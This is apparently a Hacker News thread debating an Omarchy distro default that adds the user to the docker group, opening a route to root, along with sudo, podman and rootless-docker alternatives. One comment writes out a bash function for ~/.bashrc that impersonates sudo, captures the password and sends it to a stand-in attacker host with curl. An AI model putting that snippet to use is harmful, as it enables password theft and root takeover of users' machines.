  • exitb2 hours ago
    It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.
    • pibaker2 hours ago
      It is one thing to do things the risky way on your own system and another thing to ship an unsafe and unconventional default to your users.
      • LinXitoW1 hour ago
        For a single user, opinionated, modern, developer focussed OS, this is completely and utterly on par. Using docker as a developer without this is just plain annoying.
        • tasuki9 minutes ago
          Just use podman, as the article suggests.
    • lrvick2 hours ago
      Docker can be run rootless. It is so easy. No excuse for desktop distros to not do this by default. And that is why all major Linux distros are just as bad as Omarchy (Not recommending MacOS or Windows either as those are wildly worse)
    • steve19772 hours ago
      Using Docker instead of podman is the first mistake and that is a distro decision (or a &quot;chef&quot; decision, in Omarchy parlance...)
      • hemlock45933 minutes ago
        *rootfull docker.<p>Rootless docker is perfectly fine.
    • gruez2 hours ago
      &gt;when it’s a very common setup to add regular user to the docker group.<p>As an official configuration? Or in random copy paste guides? The former is very different than the latter. It&#x27;s not uncommon to disable sudo passwords, but it would be considered a serious security lapse if that were the default on some OS.
      • bardsore2 hours ago
        Adding your user to the docker group is in the official Docker install instructions, I wouldn&#x27;t call that &quot;random copy paste guides&quot;.
        • gruez2 hours ago
          You mean the <i>optional</i> post install instructions, which is a separate page from the main install instructions, and contains a giant warning about the security implications?<p><a href="https:&#x2F;&#x2F;docs.docker.com&#x2F;engine&#x2F;install&#x2F;linux-postinstall" rel="nofollow">https:&#x2F;&#x2F;docs.docker.com&#x2F;engine&#x2F;install&#x2F;linux-postinstall</a><p>If the official sudo project had a guide on how to disable passwords, that shouldn&#x27;t be taken as endorsement of having that as a default config.
          • lrvick1 hour ago
            Per my other comments, it does not really matter if you disable the sudo password or not. If you have a sudo binary at all you effectively are giving every user process root since malware can mask the sudo command and intercept the password so trivially.
      • dpkirchner2 hours ago
        The methods are described on the official docker website, not just random blogs or SO pages. There are caveats about security, of course, but it&#x27;s not truly discouraged.
        • skydhash2 hours ago
          I think there are notes that warn you about the consequences. And they have been written with sys admin in mind which knows about user groups and security.
      • ezst2 hours ago
        You mean, just how it is on Windows?
    • StrLght1 hour ago
      Exactly! I was also surprised by this — that&#x27;s a sensible default for many people.<p>However, I agree that it should be opt-in. Docs should be more explicit about that too, they should warn users about risks of going with that option. That excerpt mentioned in the article was rather misleading.
    • Aurornis1 hour ago
      &gt; but I’m not sure this should be framed as Omarchy-specific,<p>Adding the user to the docker group by default, out of the box, is Omarchy-specific.<p>EDIT: More accurately, was Omarchy specific, until they realized that it&#x27;s not a good idea and changed it.
    • bakugo18 minutes ago
      It&#x27;s absolutely not Omarchy-specific, Ubuntu has the exact same vulnerability out of the box, just with lxd instead.
    • pixl972 hours ago
      This also seems like one of the more common things LLMs use to priv escalate themselves when not given root access, seems like a rather common misconfiguration.
  • lrvick2 hours ago
    To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.<p>Malware just need to put this in ~&#x2F;.bashrc and wait:<p>function sudo () {<p><pre><code> realsudo=$(which sudo) read -r -s -p &quot;[sudo] password for $USER: &quot; password echo &quot;$USER: $password&quot; | \ curl -F &#x27;p=&lt;-&#x27; https:&#x2F;&#x2F;attacker.com &gt;&#x2F;dev&#x2F;null 2&gt;&amp;1 $realsudo -S &lt;&lt;&lt; &quot;$password&quot; -u root bash -C &quot;exit&quot; &gt;&#x2F;dev&#x2F;null 2&gt;&amp;1 $realsudo &quot;${@:1}&quot; }</code></pre>
    • 0l2 hours ago
      Indeed, and most flatpaks have access to the home directory so are also able to do this even though they&#x27;re &quot;&quot;&quot;sandboxed&quot;&quot;&quot;
      • silver_sun38 minutes ago
        Flatpak uses Portals to let the user grant access to different files&#x2F;directories, apparently they don&#x27;t have access by default: <a href="https:&#x2F;&#x2F;docs.flatpak.org&#x2F;en&#x2F;latest&#x2F;sandbox-permissions.html" rel="nofollow">https:&#x2F;&#x2F;docs.flatpak.org&#x2F;en&#x2F;latest&#x2F;sandbox-permissions.html</a><p>I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn&#x27;t find any. I used Flatseal to verify the permissions: <a href="https:&#x2F;&#x2F;flathub.org&#x2F;en&#x2F;apps&#x2F;com.github.tchx84.Flatseal" rel="nofollow">https:&#x2F;&#x2F;flathub.org&#x2F;en&#x2F;apps&#x2F;com.github.tchx84.Flatseal</a><p>I&#x27;m also of the opinion that we generally shouldn&#x27;t use software that we don&#x27;t absolutely trust. That has kept my .bashrc (and other files) safe so far.
      • Arrowmaster57 minutes ago
        I don&#x27;t think flatpak allows access to hidden files so even those with access $HOME cannot do this.
    • silver_sun1 hour ago
      But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.
      • inigyou55 minutes ago
        Same if an attacker can run arbitrary docker commands.
    • utopiah8 minutes ago
      Funnily enough it wouldn&#x27;t work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking &quot;Hmmm weird&quot; but still want to proceed forward ¯\_ (ツ)_&#x2F;¯
    • mike_hearn1 hour ago
      Sudo isn&#x27;t security theater when used for what it was designed for. It&#x27;s useless for constraining apps you run as your own user ID.
      • inigyou55 minutes ago
        But very few people are using their systems in ways that fit the Unix security model, which was designed for multi-user mainframes with only trustworthy software.
      • lrvick1 hour ago
        I challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc.
    • leothetechguy1 hour ago
      Wow. This never crossed my mind but of course that&#x27;s so simple. There really needs to be a better solution.
      • lrvick1 hour ago
        There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.
        • utopiah7 minutes ago
          Just don&#x27;t be in the sudo group.
        • inigyou54 minutes ago
          How do you update the kernel?
    • ahelwer2 hours ago
      You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don&#x27;t even need a password at that point. Unfortunately haven&#x27;t figured out how to make this work over SSH.
      • lrvick1 hour ago
        &gt; You need root in order to overwrite sudo in the first place I think<p>You just need write access to .bashrc or similar.<p>&gt; This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.<p>Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.
      • ffsm81 hour ago
        Look at the excerpt. They&#x27;re not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo.<p>It&#x27;s a niche, but it&#x27;s real. Esp. if you&#x27;re targeting npm installed user scripts or similar
      • porridgeraisin1 hour ago
        No, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password.
      • Brian_K_White1 hour ago
        You do not need root to run that shell function, nor to get it loaded into a shell&#x27;s environment.<p>They didn&#x27;t say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.
    • tomrod2 hours ago
      What? Why is sudo security theater?
      • novafunc2 hours ago
        Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.
        • silver_sun1 hour ago
          If you&#x27;re running a malicious user process with write (or read) access to your files, you are arguably already compromised.
          • LinXitoW1 hour ago
            The freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don&#x27;t freaking know what&#x27;s malicious before hand.
            • silver_sun55 minutes ago
              I think that depends on your point of view. I wouldn&#x27;t run a program on my computer unless I were <i>sure</i> that it&#x27;s not malicious. And if you mean that some program I already trust could be exploited, that&#x27;s true even for the Linux kernel or any sandbox &#x2F; security solution you would come up with. I&#x27;m not denying that there&#x27;s always a risk, but there&#x27;s nothing good in running arbitrary code that you can&#x27;t trust.
          • inigyou54 minutes ago
            Exactly the point. You are already fully compromised, sudo adds no security.
      • charrondev2 hours ago
        It’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space.
      • lrvick2 hours ago
        Because it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo.
        • jorvi1 hour ago
          You do realize you can do the exact same thing on macOS? Just alias sudo to whatever you want. BSD I assume you can do the same with doas.<p>No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.
          • lrvick1 hour ago
            No popular Linux desktop, I would grant you. I use QubesOS and my own distro, stagex.
  • pkulak25 minutes ago
    Wow... this is really telling. This isn&#x27;t some obscure whoopsie. The docker install page has a giant section explaining exactly this problem. Every Docker section on every distro wiki walks through this issue in detail. It 80% the reason Podman was created in the first place.
  • trentnix1 hour ago
    The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well.<p>Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there&#x27;s an agent harness ready to help them manage their machine and use free software, even the stuff that&#x27;s a bit obtuse.<p>I&#x27;m bewildered that people are mad about any of this, but then I remember I don&#x27;t care what the gatekeepers think anymore.
    • zenburnmyface42 minutes ago
      Gatekeepers? Someone is pouring something into your ear.
  • numpad03 minutes ago
    [delayed]
  • darkwi11ow2 hours ago
    Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.
    • IsTom30 minutes ago
      I&#x27;ve used docker until recently just because it was what I was used to. It turned out I can basically just `apt install podman` and it&#x27;ll just work. I might have stayed a bit behind the times with having podman slotted as a redhat thing.
    • alienbaby2 hours ago
      The article specifically calls this out as a preferred option.
    • nkydr0i02 hours ago
      that&#x27;s what I do and what the author recommends as well
      • phoronixrly2 hours ago
        Somehow I doubt DHH and company would be OK sacrificing &quot;&quot;developer experience&quot;&quot; for security... There is still a non-trivial amount of docker-compose files and Docker incantations that don&#x27;t work 1:1 with podman and podman-compose. Adjusting them would require Omarchy&#x27;s users underatanding podman, and I doubt this will align with the opinionated nature of Omarchy..
        • psjs2 hours ago
          Omarchy is an agent first experience, no? <i>just ask your agent!</i>
        • ecshafer2 hours ago
          Come on. I am sure you don’t like DHH. But he’s always taken security seriously in Rails.
          • 12985-12862 hours ago
            Shopify forced him to be a vibe coder now. Omarchy is a vibe coding distribution.<p>In the AI world, security issues are just another marketing opportunity.<p>EDIT: Downvote all you want. He was anti-AI, got a board seat at Shopify and then became an AI influencer. Now additional money is rolling in to Omarchy from Lütke and Steinberger.
            • newspaper110 minutes ago
              It&#x27;s really disturbing that there&#x27;s a group of these CEO&#x2F;investor types that are openly white nationalists, and they&#x27;re joining forces. I&#x27;ll never touch any of their products, and I hope they continue to expose themselves on social media.
          • phoronixrly2 hours ago
            As I said, podman requires effort and thought on the user&#x27;s side, as the rootless part incurs complexity. I do not think that this aligns with the omakase mantra of omarchy. I do not think that DHH does not take security seriously. I think that Omarchy is not meant to sacrifice devex for security.
            • isityettime2 hours ago
              Rootless Podman (and rootless Docker for that matter) is not difficult to set up automatically. There is a little complexity involved, namely in configuring subuid and subgid mappings, but not much.<p>That said, I think Arch Linux itself has a culture that values the wrong kind of simplicity (implementation simplicity) that perversely leads to a failure to adequately grapple with <i>inherent</i> complexity. This leads to brittle implementations, &quot;buyer beware&quot; norms, &quot;you should have run the notes&quot;, &quot;this command should never be used&quot;, etc. Omarchy inherits all of that from Arch. It also, it seems, carried its own perverse notion of &quot;simplicity&quot;.
              • phoronixrly1 hour ago
                I was not referring to the setup complexity. Setup is performed just once. I was referring to the runtime complexity that comes naturally from having to take into account non-root user permissions and lack thereof. These peculiarities are quite a low bar, but they are still a non-trivial hurdle in the way of devex.<p>I am a fedora&#x2F;opensuse user and happily use podman <i>with</i> selinux.
    • iririririr2 hours ago
      because the distro is all about convenience over security, while selling an aura of technical superiority. Which is the modus operandi that worked for the distro author in the past, when he sold VPS with a big markup, because he also gave a script that did &quot;ssh vps -- curl somebashscript&quot; to do basic webdev taks.<p>&gt; The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.<p>just like the vps era. it&#x27;s all about convenience.
  • tasuki11 minutes ago
    Yes ok, but the moment <i>you</i> gain user access to <i>my</i> machine, I&#x27;ve already lost. The amount of damage you can do as root is about the same you can do as me.
  • dalmo31 hour ago
    I had no idea what Omarchy was, so I looked it up: <a href="https:&#x2F;&#x2F;omarchy.org&#x2F;" rel="nofollow">https:&#x2F;&#x2F;omarchy.org&#x2F;</a><p>Is there a name for a phobia of yt thumbnails?
  • antiloper2 hours ago
    Installing docker by default is completely insane. What are they doing? Rootless podman has been around for many years at this point.
    • lrvick1 hour ago
      Rootless docker is even an officially supported install method.
  • comandillos1 hour ago
    The docker escalation &#x27;trick&#x27; is even a meme at this point
  • archole2 hours ago
    As expected from a vibecoded &quot;distro&quot;
  • ruby_curmudgeon2 hours ago
    Somebody should do an audit of Omarchy Plugins: <a href="https:&#x2F;&#x2F;plugins.omarchy.org&#x2F;" rel="nofollow">https:&#x2F;&#x2F;plugins.omarchy.org&#x2F;</a><p>They run completely unsandboxed and are unvetted.
  • PaulHoule2 hours ago
    I hate to be defending Omarchy but I think for the modern desktop OS like Linux or Windows or Mac OS, &quot;root&quot; is not what it used to be.<p>Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don&#x27;t really need to have, etc.<p>The &quot;root&quot; barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the &quot;minicomputer&quot; world that gave birth to Unix.<p>In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center&#x27;s director that would let you watch him reading his email his email and such.<p>I more concerned that Apache is running under a &quot;httpd&quot; account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...<p>The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they&#x27;re going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.
  • jksmith52 minutes ago
    Barely related, I decided to move on. Linux has been weaponized for self-promotion. So I&#x27;m happy just working with Beastie these days.
  • vinniepukh54 minutes ago
    anecdotal and fwiw, Omarchy is the first distro that &quot;stuck&quot;. I&#x27;ve been using it on my desktop for a year now. I use it for personal projects and light gaming via Steam. Personal MacBook is only used when I want to compute on the couch. Work computer is also a MacBook. But everything else, Omarchy desktop.<p>Previous attempts with Ubuntu and PopOS! never stuck.
  • wildster2 hours ago
    Debian 13 is good.
  • addajones1 hour ago
    There were many amazing distros before Omarchy and there will be many after. Use whatever you want, vibecoded or not. Don&#x27;t tell people what to do. Make your own decisions.
  • qweqwe142 hours ago
    OK... and? This doesn&#x27;t matter for a desktop, because:<p>1. Having access to the user&#x27;s home directory is way more serious than being able to install drivers or whatever<p>2. There are a million other ways to escalate to root by obtaining the user&#x27;s password<p>I also don&#x27;t understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone&#x27;s Arch setup?
    • KetoManx641 hour ago
      The point is that there are millions of people out there that are curious about Linux but are put off by anything command line. Distro like this, especially Quatro which has a big focus on agents, makes it more inviting and gives people an instant path to get help&#x2F;have their problems solved without them having to search archaic error messages
    • jp_sc2 hours ago
      Because they like their Arch setup? Because installing Omarchy is three to five minutes at most so three to five times faster? XD
    • gruez2 hours ago
      <a href="https:&#x2F;&#x2F;xkcd.com&#x2F;1200&#x2F;" rel="nofollow">https:&#x2F;&#x2F;xkcd.com&#x2F;1200&#x2F;</a>
    • lobofta2 hours ago
      Because it looks cool and DHH makes a lot noises that sounds like you should listen to him.
      • inigyou2 hours ago
        And he politically aligns with a lot of people.
  • trentor1 hour ago
    I genuinely put companies that invested in this on my blacklist. I don&#x27;t care about the politics behind it. His whole persona is and was to be edgy and cruel so nothing will change here. But there are probably millions of oss projects that deserve the funding more.
  • bakugo23 minutes ago
    Ubuntu has the exact same vulnerability, except with lxd instead of docker, but for some reason, it&#x27;s considered working as intended.<p>On a fresh install of Ubuntu Server, the first user created is part of the lxd group, can install lxd without root thanks to snap, and can immediately create a privileged container with the host&#x27;s root filesystem mounted inside.
  • pibaker2 hours ago
    I was expecting a more sophisticated attack and then I scrolled down…<p>&gt; Omarchy configured its default user as a member of the Linux docker group.<p>What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.<p><a href="https:&#x2F;&#x2F;docs.docker.com&#x2F;engine&#x2F;install&#x2F;linux-postinstall&#x2F;" rel="nofollow">https:&#x2F;&#x2F;docs.docker.com&#x2F;engine&#x2F;install&#x2F;linux-postinstall&#x2F;</a><p>Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an &quot;opinionated&quot; distro??? Makes you wonder how much other crap is there.
    • dragonwriter1 hour ago
      &gt; Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an &quot;opinionated&quot; distro???<p>Isn&#x27;t that the entire selling point of Omarchy?
    • k_roy2 hours ago
      Default configuration or not, I also imagine the first thing people using docker do is to add themselves to the docker group via sudo.<p>If you are security-conscious, you shouldn’t be using docker anyway.
      • pibaker2 hours ago
        If you are adding yourself to the docker group, you have presumably read the documentation and its warnings. Does an Omarchy user know the distro has made the decision on their behave?<p>TFA spells out why this is wrong better than I could.<p>&gt; There is another important aspect of this configuration. It was opt-out, not opt-in. A user did not have to actually use Docker. The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.<p>&gt; Security-sensitive defaults matter precisely because many users reasonably assume that the operating system defaults to secure and will inform or prompt them to opt-in to less secure settings.
        • k_roy2 hours ago
          I am not disagreeing at all. Nor am I trying to claim this behavior is safe.<p>I’m just pointing out the level-set that I’m sure the first time someone installs docker and tries to use it, chances are they are just going to install themselves in the docker group without considering the impact and continue on their day.
      • inigyou2 hours ago
        I have passwordless sudo anyway. XKCD knows why the password is pointless.
    • inigyou52 minutes ago
      I didn&#x27;t know that was unsafe.<p>Well, it&#x27;s not unsafe because anyone who can exploit it has already fully compromised my PC. It rather involved being on the other side of this airtight hatchway. But I didn&#x27;t know that putting an actually locked down account in the docker group was unsafe.
    • esskay2 hours ago
      &gt; Why would you want to make this the default for your users<p>Because DHH doesn&#x27;t have a clue what he&#x27;s doing and is farming his brain out to Claude. Again.
    • qweqwe142 hours ago
      Because it&#x27;s convenient, and the security of this doesn&#x27;t matter for desktop usage.
      • iririririr2 hours ago
        lol. people will vote you and not realize the irony.<p>just look at all the comments &quot;this is a fair and common mistake&quot; that are not being ironic.
  • isatty2 hours ago
    What on earth is an Omarchy
    • 12985-12862 hours ago
      Officially <i>omakase</i> (clueless chef decides your menu with security issues) and <i>arch</i> linux.<p>The fact that it is almost an anagram of monarchy is probably a plus for DHH.
      • preommr4 minutes ago
        &gt; The fact that it is almost an anagram of monarchy is probably a plus for DHH.<p>I spend way too much time online; but it&#x27;s good to know I am not this terminally online.
      • enbugger2 hours ago
        You realize you are exemplary hater when you feel an urge to post comments like this
        • khash121 hour ago
          You are absolutely right and I&#x27;ll have Claude read a ChatGPT summary of Paul Graham&#x27;s hater essay!
  • arjie2 hours ago
    Surprised by this. I only ever use podman (which by default, runs rootless) these days and haven’t felt the need for docker. Feels like reading about a CVE in Compiz.
  • delduca2 hours ago
    Is it not better to run a VM just for Docker, like we have to do on macOS?
    • gruez2 hours ago
      That has all sorts of issues like eating disk space and RAM, because neither can&#x27;t be released to the host once allocated, but then become unused.
      • delduca2 hours ago
        At least is secure(tm)
    • K0IN2 hours ago
      I just want to put this out there, smolmachines is a wonderful program to solve this, I use this mostly for stuff needing docker socket &#x2F; docker in docker (example strix and agents). (I&#x27;m using podman on my host)
    • Anonyneko2 hours ago
      At that point why not just simplify things and go back to Vagrant...?
    • dimitarbogdanov2 hours ago
      Damn, I did not know you need a VM for Docker on macOS. That&#x27;s kind of ironic, isn&#x27;t it XD<p>Every day I wake up and thank the universe for MS making WSL2
      • maleldil2 hours ago
        WSL2 is also a virtual machine.
      • anglesideangle2 hours ago
        WSL2 is also a VM. docker relies on the linux kernel apis, so it must be ran inside a linux VM on macos or windows
        • isityettime2 hours ago
          Windows does have a native sandboxing API that Docker is capable of using IIRC, but nobody uses it.<p>The macOS situation is even worse in that the kernel lacks the requisite capabilities.
      • WD-422 hours ago
        I’d rather run real Linux in a VM than a buggy appropriation of it in WSL
      • skydhash2 hours ago
        Isn’t WSL2 vm based?
  • techscruggs2 hours ago
    This is the type of security and vulnerability testing that actually matters. In a sea of security researcher noise, thank you for contributing in a meaningful way.
  • Retr0id2 hours ago
    Lol. This misconfiguration is so common and so trivial that LLMs have been known to exploit it unprompted, to complete their task.
  • addajones1 hour ago
    Sad that people just complain about what DHH is doing and how he doesn&#x27;t know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I&#x27;m tired of the constant complaining and criticizing. Nobody said you have to use it.
    • eviks1 hour ago
      Nobody said you can&#x27;t complaint about things unless you&#x27;re forced to use them!
      • addajones56 minutes ago
        Well thats what I&#x27;ve noticed lately here on HN, complaining is #1, everything else follows. lol.
    • Arrowmaster56 minutes ago
      I don&#x27;t care what he&#x27;s doing, I care about what he is.
      • addajones53 minutes ago
        He&#x27;s a person, just like you are. Let him know then, he has an email and you can message him publicly on X.
        • newspaper17 minutes ago
          &gt; <i>He&#x27;s a person, just like you are.</i><p>He&#x27;s not like me. I&#x27;ve never posted racist hate filled rants to the internet.
        • jarek-foksa12 minutes ago
          He clearly &quot;suffers&quot; from narcissistic personality disorder, trying to change him is a waste of time. Even if he was a normal person, I see no rational reason for him to change his behavior given how successful he is.
      • TiredOfLife30 minutes ago
        What he is or what random blog posts present him as?
        • Arrowmaster5 minutes ago
          His own blog posts present him as what he is. Have you read them?
      • stiltzkin46 minutes ago
        [dead]
  • rfgplk1 hour ago
    I&#x27;ve already stated this on the last Omarchy thread, the way DHH is implementing it is highly irresponsible and insecure. Half of his &quot;distro&quot; are essentially shell scripts where it&#x27;s extremely easy to create accidental security holes. Considering that probably half of his code would need something like setuid&#x2F;execute bits set in order to avoid configuration spaghetti, I&#x27;d imagine that there are _hundreds_ of vulnerabilities in there. If you think about it logically, just the desktop environment (note that I have no idea if he coded his own or is using an existing one) needs access to input the graphics driver the netstack all of which require priviledges of some kind.
    • arandomhuman1 hour ago
      He did not code his own desktop environment, it’s just hyprland.
  • SwellJoe1 hour ago
    &quot;Opinionated&quot; software sounds great until you find out the author has the stupidest opinions you&#x27;ve ever heard in your life.
    • argsnd1 hour ago
      and in this case that&#x27;s even before you get to the software opinions
      • inigyou30 minutes ago
        Why is it always the people with the worst opinions who make the most stuff though? Why aren&#x27;t the rest of us making popular stuff?
    • stiltzkin46 minutes ago
      [dead]
  • porridgeraisin2 hours ago
    I mean, I saw this on twitter, and thought ok maybe its a nice exploit. But really? its the usual docker root thing?<p>I wouldn&#x27;t even consider that a vulnerability tbh, every personal laptop I had I add myself to docker group. Yes, you can not namespace pids, filesystem, etc, and get root, but it&#x27;s never mattered.<p>If someone can run that docker command, they can already read your whole homedir, edit bashrc, etc etc,. and sudo is useless anyways.<p>Only on a system where you are a user without sudo access, does it even begin to make sense. And if you go to the trouble of intentionally setting up a user without sudo access, you wouldn&#x27;t be adding that user to the docker group either. In the default install, I assume omarchy adds you to the sudoers as well, making this a perfectly ok thing to do<p>Even if you participate in the esteemed Red Hat Security Theater and use wayland, flatpaks, etc, most flatpaks can write anywhere in your home dir, so they can do this too.<p>On standard linux desktop, sudo is not really security, but it is a UX improvement as it adds friction to accidentally doing things to the &quot;system&quot;.<p>[I don&#x27;t use omarchy]
  • zsoltkacsandi37 minutes ago
    That is what happens when someone without a clue what is he (khm, DHH) doing vibe codes a distro.
  • hollow-moe2 hours ago
    10M for a some shell scripts what a steal lmao
  • lelota1 hour ago
    Other day i was hearing DHH talk on Lex&#x27;s podcast on Omarchy and how he does not look at the code anymore. The guy built solid reputation with his prev contributions but now falling to AI slop.
    • ok1234561 hour ago
      He must really be all in on AI to be interviewed by one.
  • remusrm9 minutes ago
    [dead]
  • phoronixrly2 hours ago
    [flagged]